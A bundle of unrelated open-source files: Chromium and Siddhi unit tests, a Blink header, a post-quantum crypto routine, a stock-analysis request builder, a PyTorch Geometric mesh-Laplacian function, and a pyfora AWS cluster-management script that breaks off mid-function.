<filename>components/policy/core/browser/android/policy_cache_updater_android_unittest.cc<gh_stars>100-1000 // Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/policy/core/browser/android/policy_cache_updater_android.h" #include <jni.h> #include <memory> #include "base/android/jni_android.h" #include "base/android/jni_string.h" #include "base/android/scoped_java_ref.h" #include "base/test/task_environment.h" #include "base/values.h" #include "components/policy/android/test_jni_headers/PolicyCacheUpdaterTestSupporter_jni.h" #include "components/policy/core/browser/configuration_policy_handler.h" #include "components/policy/core/browser/policy_conversions_client.h" #include "components/policy/core/browser/policy_error_map.h" #include "components/policy/core/common/configuration_policy_provider.h" #include "components/policy/core/common/mock_configuration_policy_provider.h" #include "components/policy/core/common/policy_map.h" #include "components/policy/core/common/policy_service_impl.h" #include "components/strings/grit/components_strings.h" #include "testing/gtest/include/gtest/gtest.h" using ::testing::_; using ::testing::Return; namespace policy { namespace android { namespace { // The list of policeis that can be cached is controlled by Java library. Hence // we use real policy name for testing. constexpr char kPolicyName[] = "BrowserSignin"; constexpr int kPolicyValue = 1; class StubPolicyHandler : public ConfigurationPolicyHandler { public: StubPolicyHandler(const std::string& policy_name, bool has_error) : policy_name_(policy_name), has_error_(has_error) {} StubPolicyHandler(const StubPolicyHandler&) = delete; StubPolicyHandler& operator=(const StubPolicyHandler&) = delete; ~StubPolicyHandler() override = default; bool CheckPolicySettings(const PolicyMap& policies, PolicyErrorMap* errors) override { if (has_error_) { errors->AddError(policy_name_, IDS_POLICY_BLOCKED); } return policies.GetValue(kPolicyName) && !has_error_; } private: void ApplyPolicySettings(const PolicyMap& policies, PrefValueMap* prefs) override {} std::string policy_name_; bool has_error_; }; } // namespace class PolicyCacheUpdaterAndroidTest : public ::testing::Test { public: PolicyCacheUpdaterAndroidTest() { ON_CALL(policy_provider_, IsInitializationComplete(_)) .WillByDefault(Return(true)); ON_CALL(policy_provider_, IsFirstPolicyLoadComplete(_)) .WillByDefault(Return(true)); j_support_ = Java_PolicyCacheUpdaterTestSupporter_Constructor(env_); policy_service_ = std::make_unique<policy::PolicyServiceImpl>( std::vector<ConfigurationPolicyProvider*>({&policy_provider_})); policy_handler_list_ = std::make_unique<ConfigurationPolicyHandlerList>( ConfigurationPolicyHandlerList:: PopulatePolicyHandlerParametersCallback(), GetChromePolicyDetailsCallback(), /*allow_future_policies=*/false); } ~PolicyCacheUpdaterAndroidTest() override = default; void SetPolicy(const std::string& policy, int policy_value) { policy_map_.Set(policy, PolicyLevel::POLICY_LEVEL_MANDATORY, PolicyScope::POLICY_SCOPE_MACHINE, PolicySource::POLICY_SOURCE_PLATFORM, base::Value(policy_value), /*external_data_fetcher=*/nullptr); } void UpdatePolicy() { policy_provider_.UpdateChromePolicy(policy_map_); } void VerifyPolicyName(const std::string& policy, bool has_value, int expected_value) { Java_PolicyCacheUpdaterTestSupporter_verifyPolicyCacheIntValue( env_, j_support_, base::android::ConvertUTF8ToJavaString(env_, policy), has_value, expected_value); } ConfigurationPolicyHandlerList* policy_handler_list() { return policy_handler_list_.get(); } PolicyService* policy_service() { return policy_service_.get(); } PolicyMap* policy_map() { return &policy_map_; } private: JNIEnv* env_ = base::android::AttachCurrentThread(); base::android::ScopedJavaLocalRef<jobject> j_support_; PolicyMap policy_map_; MockConfigurationPolicyProvider policy_provider_; std::unique_ptr<PolicyService> policy_service_; std::unique_ptr<ConfigurationPolicyHandlerList> policy_handler_list_; base::test::SingleThreadTaskEnvironment task_environment_; }; TEST_F(PolicyCacheUpdaterAndroidTest, TestCachePolicy) { policy_handler_list()->AddHandler( std::make_unique<StubPolicyHandler>(kPolicyName, /*has_error=*/false)); PolicyCacheUpdater updater(policy_service(), policy_handler_list()); SetPolicy(kPolicyName, kPolicyValue); UpdatePolicy(); VerifyPolicyName(kPolicyName, /*has_value=*/true, kPolicyValue); } TEST_F(PolicyCacheUpdaterAndroidTest, TestPolicyNotExist) { policy_handler_list()->AddHandler( std::make_unique<StubPolicyHandler>(kPolicyName, /*has_error=*/false)); PolicyCacheUpdater updater(policy_service(), policy_handler_list()); UpdatePolicy(); VerifyPolicyName(kPolicyName, /*has_value=*/false, kPolicyValue); } TEST_F(PolicyCacheUpdaterAndroidTest, TestPolicyErrorPolicy) { policy_handler_list()->AddHandler( std::make_unique<StubPolicyHandler>(kPolicyName, /*has_error=*/true)); PolicyCacheUpdater updater(policy_service(), policy_handler_list()); SetPolicy(kPolicyName, kPolicyValue); UpdatePolicy(); VerifyPolicyName(kPolicyName, /*has_value=*/false, kPolicyValue); } TEST_F(PolicyCacheUpdaterAndroidTest, TestPolicyMapIgnoredPolicy) { policy_handler_list()->AddHandler( std::make_unique<StubPolicyHandler>(kPolicyName, /*has_error=*/false)); PolicyCacheUpdater updater(policy_service(), policy_handler_list()); SetPolicy(kPolicyName, kPolicyValue); policy_map()->GetMutable(kPolicyName)->SetIgnored(); UpdatePolicy(); VerifyPolicyName(kPolicyName, /*has_value=*/false, kPolicyValue); } TEST_F(PolicyCacheUpdaterAndroidTest, TestPolicyMapErrorMessagePolicy) { policy_handler_list()->AddHandler( std::make_unique<StubPolicyHandler>(kPolicyName, /*has_error=*/false)); PolicyCacheUpdater updater(policy_service(), policy_handler_list()); SetPolicy(kPolicyName, kPolicyValue); policy_map() ->GetMutable(kPolicyName) ->AddMessage(PolicyMap::MessageType::kError, IDS_POLICY_BLOCKED); UpdatePolicy(); VerifyPolicyName(kPolicyName, /*has_value=*/false, kPolicyValue); } TEST_F(PolicyCacheUpdaterAndroidTest, TestPolicyMapWarningMessagePolicy) { policy_handler_list()->AddHandler( std::make_unique<StubPolicyHandler>(kPolicyName, /*has_error=*/false)); PolicyCacheUpdater updater(policy_service(), policy_handler_list()); SetPolicy(kPolicyName, kPolicyValue); policy_map() ->GetMutable(kPolicyName) ->AddMessage(PolicyMap::MessageType::kWarning, IDS_POLICY_BLOCKED); UpdatePolicy(); VerifyPolicyName(kPolicyName, /*has_value=*/true, kPolicyValue); } TEST_F(PolicyCacheUpdaterAndroidTest, TestPolicUpdatedBeforeUpdaterCreated) { policy_handler_list()->AddHandler( std::make_unique<StubPolicyHandler>(kPolicyName, /*has_error=*/false)); SetPolicy(kPolicyName, kPolicyValue); UpdatePolicy(); VerifyPolicyName(kPolicyName, /*has_value=*/false, kPolicyValue); PolicyCacheUpdater updater(policy_service(), policy_handler_list()); VerifyPolicyName(kPolicyName, /*has_value=*/true, kPolicyValue); } } // namespace android } // namespace policy
2,636
777
<reponame>google-ar/chromium<filename>third_party/WebKit/public/web/WebMediaDeviceChangeObserver.h // Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef WebMediaDeviceChangeObserver_h #define WebMediaDeviceChangeObserver_h #include "public/platform/WebPrivatePtr.h" namespace blink { class MediaDevices; class WebSecurityOrigin; class WebMediaDeviceChangeObserver { public: BLINK_EXPORT WebMediaDeviceChangeObserver(); BLINK_EXPORT explicit WebMediaDeviceChangeObserver(bool); // for testing only BLINK_EXPORT WebMediaDeviceChangeObserver( const WebMediaDeviceChangeObserver&); BLINK_EXPORT WebMediaDeviceChangeObserver& operator=( const WebMediaDeviceChangeObserver&); BLINK_EXPORT ~WebMediaDeviceChangeObserver(); // Notify that the set of media devices has changed. BLINK_EXPORT void didChangeMediaDevices(); BLINK_EXPORT bool isNull() const; BLINK_EXPORT WebSecurityOrigin getSecurityOrigin() const; #if INSIDE_BLINK explicit WebMediaDeviceChangeObserver(MediaDevices*); #endif private: void assign(const WebMediaDeviceChangeObserver&); void reset(); WebPrivatePtr<MediaDevices> m_private; }; } // namespace blink #endif
391
766
/* * Copyright (c) 2017, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package io.siddhi.core.stream.output.sink; import io.siddhi.core.SiddhiAppRuntime; import io.siddhi.core.SiddhiManager; import io.siddhi.core.UnitTestAppender; import io.siddhi.core.stream.input.InputHandler; import org.apache.log4j.Logger; import org.testng.Assert; import org.testng.AssertJUnit; import org.testng.annotations.Test; public class LogSinkTest { @Test public void testWithAllOptions() throws Exception { SiddhiManager siddhiManager = new SiddhiManager(); String inputStream = "@App:name(\"HelloWorldApp\")\n" + "define stream CargoStream (weight int);"; String outputStream = "@sink(type='log', prefix='My Log', priority='info')\n" + "define stream OutputStream(weight int, totalWeight long);"; String query = ( "@info(name='HelloWorldQuery') " + "from CargoStream " + "select weight, sum(weight) as totalWeight " + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(inputStream + outputStream + query); siddhiAppRuntime.start(); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("CargoStream"); Logger logger = Logger.getLogger(LogSink.class); UnitTestAppender appender = new UnitTestAppender(); logger.addAppender(appender); try { inputHandler.send(new Object[]{2}); AssertJUnit.assertTrue(appender.getMessages().contains("My Log")); AssertJUnit.assertTrue(appender.getMessages().contains("data=[2, 2]")); inputHandler.send(new Object[]{3}); AssertJUnit.assertTrue(appender.getMessages().contains("My Log")); AssertJUnit.assertTrue(appender.getMessages().contains("data=[3, 5]")); } catch (Exception e) { Assert.fail("Unexpected exception occurred when testing with all options", e); } finally { logger.removeAppender(appender); siddhiAppRuntime.shutdown(); } } @Test public void testWithDefaultPrefix() throws Exception { SiddhiManager siddhiManager = new SiddhiManager(); String inputStream = "@App:name(\"HelloWorldApp\")\n" + "define stream CargoStream (weight int);"; String outputStream = "@sink(type='log', priority='info')\n" + "define stream OutputStream(weight int, totalWeight long);"; String query = ( "@info(name='HelloWorldQuery') " + "from CargoStream " + "select weight, sum(weight) as totalWeight " + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(inputStream + outputStream + query); siddhiAppRuntime.start(); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("CargoStream"); Logger logger = Logger.getLogger(LogSink.class); UnitTestAppender appender = new UnitTestAppender(); logger.addAppender(appender); try { inputHandler.send(new Object[]{2}); AssertJUnit.assertTrue(appender.getMessages().contains("HelloWorldApp : OutputStream")); AssertJUnit.assertTrue(appender.getMessages().contains("data=[2, 2]")); inputHandler.send(new Object[]{3}); AssertJUnit.assertTrue(appender.getMessages().contains("HelloWorldApp : OutputStream")); AssertJUnit.assertTrue(appender.getMessages().contains("data=[3, 5]")); } catch (Exception e) { Assert.fail("Unexpected exception occurred when testing with default prefix", e); } finally { siddhiAppRuntime.shutdown(); } } @Test public void testWithDefaultPriority() throws Exception { SiddhiManager siddhiManager = new SiddhiManager(); String inputStream = "@App:name(\"HelloWorldApp\")\n" + "define stream CargoStream (weight int);"; String outputStream = "@sink(type='log', prefix='My Log')\n" + "define stream OutputStream(weight int, totalWeight long);"; String query = ( "@info(name='HelloWorldQuery') " + "from CargoStream " + "select weight, sum(weight) as totalWeight " + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(inputStream + outputStream + query); siddhiAppRuntime.start(); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("CargoStream"); Logger logger = Logger.getLogger(LogSink.class); UnitTestAppender appender = new UnitTestAppender(); logger.addAppender(appender); try { inputHandler.send(new Object[]{2}); AssertJUnit.assertTrue(appender.getMessages().contains("My Log")); AssertJUnit.assertTrue(appender.getMessages().contains("data=[2, 2]")); inputHandler.send(new Object[]{3}); AssertJUnit.assertTrue(appender.getMessages().contains("My Log")); AssertJUnit.assertTrue(appender.getMessages().contains("data=[3, 5]")); } catch (Exception e) { Assert.fail("Unexpected exception occurred when testing with default priority", e); } finally { siddhiAppRuntime.shutdown(); } } @Test public void testWithDefaultOptions() throws Exception { SiddhiManager siddhiManager = new SiddhiManager(); String inputStream = "@App:name(\"HelloWorldApp\")\n" + "define stream CargoStream (weight int);"; String outputStream = "@sink(type='log')\n" + "define stream OutputStream(weight int, totalWeight long);"; String query = ( "@info(name='HelloWorldQuery') " + "from CargoStream " + "select weight, sum(weight) as totalWeight " + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(inputStream + outputStream + query); siddhiAppRuntime.start(); InputHandler inputHandler = siddhiAppRuntime.getInputHandler("CargoStream"); Logger logger = Logger.getLogger(LogSink.class); UnitTestAppender appender = new UnitTestAppender(); logger.addAppender(appender); try { inputHandler.send(new Object[]{2}); AssertJUnit.assertTrue(appender.getMessages().contains("HelloWorldApp : OutputStream")); AssertJUnit.assertTrue(appender.getMessages().contains("data=[2, 2]")); inputHandler.send(new Object[]{3}); AssertJUnit.assertTrue(appender.getMessages().contains("HelloWorldApp : OutputStream")); AssertJUnit.assertTrue(appender.getMessages().contains("data=[3, 5]")); } catch (Exception e) { Assert.fail("Unexpected exception occurred when testing with default options", e); } finally { siddhiAppRuntime.shutdown(); } } }
3,263
997
<filename>crypto_kem/sntrup761/clean/crypto_core_scale3sntrup761.c #include "crypto_core_scale3sntrup761.h" #include "crypto_decode_761xint16.h" #include "crypto_encode_761xint16.h" #define p 761 #define q 4591 #define crypto_decode_pxint16 PQCLEAN_SNTRUP761_CLEAN_crypto_decode_761xint16 #define crypto_encode_pxint16 PQCLEAN_SNTRUP761_CLEAN_crypto_encode_761xint16 typedef int16_t Fq; /* out = 3*in in Rq */ int PQCLEAN_SNTRUP761_CLEAN_crypto_core_scale3sntrup761(unsigned char *outbytes, const unsigned char *inbytes) { Fq f[p]; int i; crypto_decode_pxint16(f, inbytes); for (i = 0; i < p; ++i) { Fq x = f[i]; x *= 3; /* (-3q+3)/2 ... (3q-3)/2 */ x -= (q + 1) / 2; /* -2q+1 ... q-2 */ x += q & (x >> 15); /* -q+1 ... q-1 */ x += q & (x >> 15); /* 0 ... q-1 */ x -= (q - 1) / 2; /* -(q-1)/2 ... (q-1)/2 */ f[i] = x; } crypto_encode_pxint16(outbytes, f); return 0; }
500
819
<reponame>virdesai/stock-analysis-engine """ Build a dictionary for running an algorithm """ import datetime import analysis_engine.consts as ae_consts import analysis_engine.utils as ae_utils import spylunking.log.setup_logging as log_utils log = log_utils.build_colorized_logger(name=__name__) def build_algo_request( ticker=None, tickers=None, use_key=None, start_date=None, end_date=None, datasets=None, balance=None, commission=None, num_shares=None, config_file=None, config_dict=None, load_config=None, history_config=None, report_config=None, extract_config=None, timeseries=None, trade_strategy=None, cache_freq='daily', label='algo'): """build_algo_request Create a dictionary for building an algorithm. This is opinionated to how the underlying date-based caching strategy is running per day. Each business day becomes a possible dataset to process with an algorithm. :param ticker: ticker :param tickers: optional - list of tickers :param use_key: redis and s3 to store the algo result :param start_date: string date format ``YYYY-MM-DD HH:MM:SS`` :param end_date: string date format ``YYYY-MM-DD HH:MM:SS`` :param datasets: list of string dataset types :param balance: starting capital balance :param commission: commission for buy or sell :param num_shares: optional - integer number of starting shares :param cache_freq: optional - cache frequency (``daily`` is default) :param label: optional - algo log tracking name :param config_file: path to a json file containing custom algorithm object member values (like indicator configuration and predict future date units ahead for a backtest) :param config_dict: optional - dictionary that can be passed to derived class implementations of: ``def load_from_config(config_dict=config_dict)`` **Timeseries** :param timeseries: optional - string to set ``day`` or ``minute`` backtesting or live trading (default is ``minute``) **Trading Strategy** :param trade_strategy: optional - string to set the type of ``Trading Strategy`` for backtesting or live trading (default is ``count``) **Algorithm Dataset Extraction, Loading and Publishing arguments** :param load_config: optional - dictionary for setting member variables to load an agorithm-ready dataset from a file, s3 or redis :param history_config: optional - dictionary for setting member variables to publish an algo ``trade history`` to s3, redis, a file or slack :param report_config: optional - dictionary for setting member variables to publish an algo ``trading performance report`` to s3, redis, a file or slack :param extract_config: optional - dictionary for setting member variables to publish an algo ``trading performance report`` to s3, redis, a file or slack """ use_tickers = [] if ticker: use_tickers = [ ticker.upper() ] if tickers: for t in tickers: if t not in use_tickers: use_tickers.append(t.upper()) s3_bucket_name = ae_consts.ALGO_RESULT_S3_BUCKET_NAME s3_key = use_key redis_key = use_key s3_enabled = True redis_enabled = True work = { 'tickers': use_tickers, 's3_bucket': s3_bucket_name, 's3_key': s3_key, 'redis_key': redis_key, 's3_enabled': s3_enabled, 'redis_enabled': redis_enabled, 'extract_datasets': [], 'cache_freq': cache_freq, 'config_file': config_file, 'config_dict': config_dict, 'balance': balance, 'commission': commission, 'load_config': load_config, 'history_config': history_config, 'report_config': report_config, 'extract_config': extract_config, 'start_date': None, 'end_date': None, 'timeseries': timeseries, 'trade_strategy': trade_strategy, 'version': 1, 'label': label } start_date_val = ae_utils.get_date_from_str(start_date) end_date_val = ae_utils.get_date_from_str(end_date) if start_date_val > end_date_val: raise Exception( f'Invalid start_date={start_date} ' f'must be less than end_date={end_date}') use_dates = [] new_dataset = None cur_date = start_date_val if not work['start_date']: work['start_date'] = start_date_val.strftime( ae_consts.COMMON_TICK_DATE_FORMAT) if not work['end_date']: work['end_date'] = end_date_val.strftime( ae_consts.COMMON_TICK_DATE_FORMAT) while cur_date <= end_date_val: if cur_date.weekday() < 5: for t in use_tickers: if cache_freq == 'daily': new_dataset = f'''{t}_{cur_date.strftime( ae_consts.COMMON_DATE_FORMAT)}''' else: new_dataset = f'''{t}_{cur_date.strftime( ae_consts.COMMON_TICK_DATE_FORMAT)}''' if new_dataset: use_dates.append(new_dataset) new_dataset = None # end for all tickers # end of valid days M-F if cache_freq == 'daily': cur_date += datetime.timedelta(days=1) else: cur_date += datetime.timedelta(minute=1) # end of walking all dates to add if len(use_dates) > 0: work['extract_datasets'] = use_dates log.debug( f'tickers={work["tickers"]} balance={work["balance"]} ' f'start={work["extract_datasets"][0]} ' f'end={work["extract_datasets"][-1]} ' f'cache_freq={cache_freq} request={ae_consts.ppj(work)}') else: log.error( f'there are not enough dates to test between ' f'start={start_date_val} end={end_date_val} ' f'tickers={work["tickers"]} cache_freq={cache_freq} ' f'request={ae_consts.ppj(work)}') return work # end of build_algo_request
2,832
9,729
<reponame>tetianakravchenko/beats import jinja2 import os import sys from beat import common_tests from filebeat import BaseTest as FilebeatTest class FilebeatXPackTest(FilebeatTest, common_tests.TestExportsMixin): @classmethod def setUpClass(self): self.beat_name = "filebeat" self.beat_path = os.path.abspath( os.path.join(os.path.dirname(__file__), "../../")) super(FilebeatTest, self).setUpClass() def setUp(self): super(FilebeatTest, self).setUp() # Hack to make jinja2 have the right paths self.template_env = jinja2.Environment( loader=jinja2.FileSystemLoader([ os.path.abspath(os.path.join(self.beat_path, "../../filebeat")), os.path.abspath(os.path.join(self.beat_path, "../../libbeat")) ]) )
379
2,350
<gh_stars>1000+ from typing import Tuple import torch from torch import Tensor from torch_scatter import scatter_add from torch_geometric.utils import add_self_loops, coalesce def get_mesh_laplacian(pos: Tensor, face: Tensor) -> Tuple[Tensor, Tensor]: r"""Computes the mesh Laplacian of a mesh given by :obj:`pos` and :obj:`face`. It is computed as .. math:: \mathbf{L}_{ij} = \begin{cases} \frac{\cot \angle_{ikj} + \cot \angle_{ilj}}{2 a_{ij}} & \mbox{if } i, j \mbox{ is an edge} \\ \sum_{j \in N(i)}{L_{ij}} & \mbox{if } i \mbox{ is in the diagonal} \\ 0 \mbox{ otherwise} \end{cases} where :math:`a_{ij}` is the local area element, *i.e.* one-third of the neighbouring triangle's area. Args: pos (Tensor): The node positions. face (LongTensor): The face indices. """ assert pos.size(1) == 3 and face.size(0) == 3 num_nodes = pos.shape[0] def add_angles(left, centre, right): left_pos, central_pos, right_pos = pos[left], pos[centre], pos[right] left_vec = left_pos - central_pos right_vec = right_pos - central_pos dot = torch.einsum('ij, ij -> i', left_vec, right_vec) cross = torch.norm(torch.cross(left_vec, right_vec, dim=1), dim=1) cot = dot / cross # cot = cos / sin area = cross / 6.0 # one-third of a triangle's area is cross / 6.0 return cot / 2.0, area / 2.0 # For each triangle face, add all three angles: cot_201, area_201 = add_angles(face[2], face[0], face[1]) cot_012, area_012 = add_angles(face[0], face[1], face[2]) cot_120, area_120 = add_angles(face[1], face[2], face[0]) cot_weight = torch.cat( [cot_201, cot_201, cot_012, cot_012, cot_120, cot_120]) area_weight = torch.cat( [area_201, area_201, area_012, area_012, area_120, area_120]) edge_index = torch.cat([ torch.stack([face[2], face[1]], dim=0), torch.stack([face[1], face[2]], dim=0), torch.stack([face[0], face[2]], dim=0), torch.stack([face[2], face[0]], dim=0), torch.stack([face[1], face[0]], dim=0), torch.stack([face[0], face[1]], dim=0) ], dim=1) edge_index, weight = coalesce(edge_index, [cot_weight, area_weight]) cot_weight, area_weight = weight # Compute the diagonal part: row, col = edge_index cot_deg = scatter_add(cot_weight, row, dim=0, dim_size=num_nodes) area_deg = scatter_add(area_weight, row, dim=0, dim_size=num_nodes) deg = cot_deg / area_deg edge_index, _ = add_self_loops(edge_index, num_nodes=num_nodes) edge_weight = torch.cat([-cot_weight, deg], dim=0) return edge_index, edge_weight
1,325
571
<reponame>ufora/ufora import argparse import itertools import os import subprocess import sys import threading import time from pyfora.aws.Cluster import Cluster, EventTypes def get_region(region): region = region or os.getenv('PYFORA_AWS_EC2_REGION') if region is None: raise ValueError('EC2 region not specified') return region def get_ssh_keyname(keyname): return keyname or os.getenv('PYFORA_AWS_SSH_KEYNAME') def get_identity_file(filename): return filename or os.getenv('PYFORA_AWS_IDENTITY_FILE') class StatusPrinter(object): spinner = ['|', '/', '-', '\\'] def __init__(self, open_public_port=False): self.open_public_port = open_public_port self.spinner_index = 0 self.last_message_len = 0 self.last_message = "" def on_event(self, event): if event.event_type == EventTypes.Launching: if event.body == 'manager': print "Launching manager instance:" else: print "Launching worker instance(s):" elif event.event_type == EventTypes.InstanceStatus: self.on_status(event.body) elif event.event_type == EventTypes.LaunchFailed: self.failed() if event.body == 'worker': print "Worker(s) could not be launched." elif event.event_type == EventTypes.Launched: instance_type, instances = event.body if instance_type == 'manager': instance = instances[0] print "Manager instance started:\n" print_instance(instance, instance_type) print if not self.open_public_port: print "To tunnel the pyfora HTTP port (30000) over ssh, run the following command:" print " ssh -i <ssh_key_file> -L 30000:localhost:30000 ubuntu@%s\n" % instance.ip_address else: self.done() print "Worker instance(s) started:" for worker in instances: print_instance(worker, 'worker') elif event.event_type == EventTypes.WaitingForServices: print "Waiting for services:" elif event.event_type == EventTypes.Done: self.done() elif event.event_type == EventTypes.Failed: self.failed() else: print "Unexpected status event:", event.event_type def on_status(self, status): if len(status) == 1 and len(status.items()[0][1]) == 1: message_body = self.single_status_message(status) else: message_body = self.status_summary_message(status) isDifferent = (message_body != self.last_message) isFirst = self.last_message == "" self.last_message = message_body message = time.asctime() + " -- " + message_body + \ ("" if isDifferent else " " + self.spinner[self.spinner_index]) if isFirst: print message, if isDifferent: print '' else: print '\r', self.spinner_index = (self.spinner_index + 1) % len(self.spinner) message_len = len(message) if message_len < self.last_message_len: message = message + ' '*(self.last_message_len - message_len) self.last_message_len = message_len print message, sys.stdout.flush() def done(self): message = "Done" + ' '*self.last_message_len print '' print message print '' sys.stdout.flush() @staticmethod def failed(): print '' print '' print 'Failed' sys.stdout.flush() @staticmethod def single_status_message(status): status_name, items = status.items()[0] return "%s: %s" % (items[0], status_name) @staticmethod def status_summary_message(status): return ', '.join(["%s (%d)" % (status_name, len(items)) for status_name, items in status.iteritems()]) def launcher_args(parsed_args): if not parsed_args.name: print "You did not specify a cluster name (--name). Using default name 'pyfora'." parsed_args.name = 'pyfora' return { 'name': parsed_args.name, 'region': get_region(parsed_args.ec2_region) } def worker_logs(args): cluster = Cluster(args.name, args.ec2_region) instances = cluster.list_instances() instances = instances.manager + instances.workers identity_file = get_identity_file(args.identity_file) def grep(instance): #note that we have to swap "A" and "B" because tac has reversed the order of the lines. command = ('"source ufora_setup.sh; tac \\$LOG_DIR/logs/ufora-worker.log ' '| grep -m %s -B %s -A %s -e %s" | tac') % (args.N, args.A, args.B, args.expression) return (pad(instance.ip_address + "> ", 25), ssh_output(identity_file, instance.ip_address, command)) for ip, res in parallel_for(instances, grep): for line in res.split("\n"): print ip, line def worker_load(args): cmd_to_run = 'tail -f /mnt/ufora/logs/ufora-worker.log' if args.logs else \ 'sudo apt-get install htop\\; htop' cluster = Cluster(args.name, args.ec2_region) instances = cluster.list_instances() instances = instances.manager + instances.workers identity_file = get_identity_file(args.identity_file) session = os.getenv("USER") def sh(cmd, **kwargs): try: print "CMD =", cmd.format(SESSION=session, **kwargs) subprocess.check_output(cmd.format(SESSION=session, **kwargs), shell=True) except subprocess.CalledProcessError: import traceback traceback.print_exc() sh("tmux -2 kill-session -t {SESSION}") sh("tmux -2 new-session -d -s {SESSION}") # Setup a window for tailing log files sh("tmux new-window -t {SESSION}:1 -n 'pyfora_htop'") for ix in xrange((len(instances)-1)/2): sh("tmux split-window -v -t 0 -l 20") for ix in xrange(len(instances)/2): sh("tmux split-window -h -t {ix}", ix=ix) # for ix in xrange(len(instances)-1,0,-1): # sh('tmux resize-pane -t {ix} -y 20', ix=ix) for ix in xrange(len(instances)): sh('tmux send-keys -t {ix} "ssh ubuntu@%s -t -i %s %s" C-m' % (instances[ix].ip_address, identity_file, cmd_to_run), ix=ix) # Attach to session sh('tmux -2 attach-session -t {SESSION}') def start_instances(args): assert args.num_instances > 0 ssh_keyname = get_ssh_keyname(args.ssh_keyname) open_public_port = args.open_public_port or ssh_keyname is None if ssh_keyname is None and not args.yes_all: response = raw_input( "You are launching instances without specifying an ssh key-pair name.\n" "You will not be able to log into the launched instances.\n" "You can specify a key-pair using the --ssh-keyname option.\n" "Do you want to continue without a keypair (Y/n)? " ) if response not in ('Y', 'y'): return if args.name is None: args.name = 'pyfora' print '--name argument was not specified. Using default name: ' + args.name status_printer = StatusPrinter(args.open_public_port) cluster = Cluster(args.name, args.ec2_region) instances = cluster.launch(args.instance_type, ssh_keyname, args.num_instances, open_public_port, args.vpc_id, args.subnet_id, args.security_group_id, args.spot_price, status_printer.on_event) if not instances.manager: list_instances(args) return def pad(s, ct): return s + " " * max(ct - len(s), 0) def restart_instances(args): cluster = Cluster(args.name, args.ec2_region) instances = cluster.list_instances() instances = instances.manager + instances.workers identity_file = get_identity_file(args.identity_file) def restart_instance(instance): is_manager = 'manager' in instance.tags.get('Name', '') if is_manager: command = ('"source ufora_setup.sh; \\$DOCKER stop ufora_manager; ' 'sudo rm -rf \\$LOG_DIR/*; \\$DOCKER start ufora_manager"') else: command = ('"source ufora_setup.sh; \\$DOCKER stop ufora_worker; ' 'sudo rm -rf \\$LOG_DIR/*; \\$DOCKER start ufora_worker"') return (pad(instance.ip_address + "> ", 25), ssh_output(identity_file, instance.ip_address, command)) for ip, res in parallel_for(instances, restart_instance): for line in res.split("\n"): print ip, line def add_instances(args): cluster = Cluster(args.name, args.ec2_region) instances = cluster.list_instances() if len(instances.manager) > 1: print "There is more than one Manager instance. Can't add workers.", \ "Managers:" for m in instances.manager: print_instance(m) return 1 elif len(instances.manager) == 0: print "No manager instance is running. Can't add workers." return 1 if args.num_instances < 1: print "--num-instances must be greater or equal to 1." return 1 status_printer = StatusPrinter() cluster.add_workers(instances.manager[0], args.num_instances, args.spot_price, status_printer.on_event) status_printer.done() def list_instances(args): cluster = Cluster(args.name, get_region(args.ec2_region)) instances = cluster.list_instances() count = len(instances.workers) if instances.manager: count += len(instances.manager) if len(instances.manager) > 1: print "Something is wrong! This cluster has more than one manager!" print "%d instance%s%s" % (count, 's' if count != 1 else '', ':' if count > 0 else '') for manager in instances.manager: print_instance(manager) for i in instances.workers: print_instance(i) if instances.unfulfilled: print "" count = len(instances.unfulfilled) print "%d unfulfilled spot instance request%s:" % (count, 's' if count != 1 else '') for r in instances.unfulfilled: print_spot_request(r) def stop_instances(args): cluster = Cluster(args.name, args.ec2_region) instances = cluster.list_instances() count = len(instances.manager) + len(instances.workers) if count == 0: print "No running instances to stop" else: verb = 'Terminating' if args.terminate else 'Stopping' print '%s %d instances:' % (verb, count) for i in itertools.chain(instances.workers, instances.manager): print_instance(i) if instances.unfulfilled: print "Cancelling %d unfulfilled spot instance requests:" % len(instances.unfulfilled) for r in instances.unfulfilled: print_spot_request(r) cluster.stop(instances, args.terminate) def scp(local_path, remote_path, host, identity_file): try: command = "scp -i %s %s ubuntu@%s:%s" % ( identity_file, local_path, host, remote_path) subprocess.check_output(command, shell=True) return 0 except subprocess.CalledProcessError as e: return e.output def ssh(identity_file, host, command): try: subprocess.check_output("ssh -i %s ubuntu@%s %s" % (identity_file, host, command), shell=True) return 0 except subprocess.CalledProcessError as e: return e.output def ssh_output(identity_file, host, command): try: return subprocess.check_output("ssh -i %s ubuntu@%s %s" % (identity_file, host, command), shell=True) except subprocess.CalledProcessError as e: return e.output def upload_package(package, instances, identity_file): def upload_to_instance(instance): return scp(package, '/home/ubuntu', instance.ip_address, identity_file) return parallel_for(instances, upload_to_instance) def update_ufora_service(instances, identity_file): def build_on_instance(instance): command = '"source ufora_setup.sh; export IMAGE_VERSION=local; ' + \ 'stop_ufora_service; build_local_docker_image; run_ufora_service"' return ssh(identity_file, instance.ip_address, command) return parallel_for(instances, build_on_instance) def parallel_for(collection, command): results = [None] * len(collection) def run_command(ix): results[ix] = command(collection[ix]) threads = [threading.Thread(target=run_command, args=(i,)) for i in xrange(len(collection))] for t in threads: t.start() for t in threads: t.join() return results def deploy_package(args): cluster = Cluster(args.name, args.ec2_region) instances = cluster.list_instances() instances = instances.manager + instances.workers if len(instances) == 0: print "No running instances" return print "Running instances:" for i in instances: 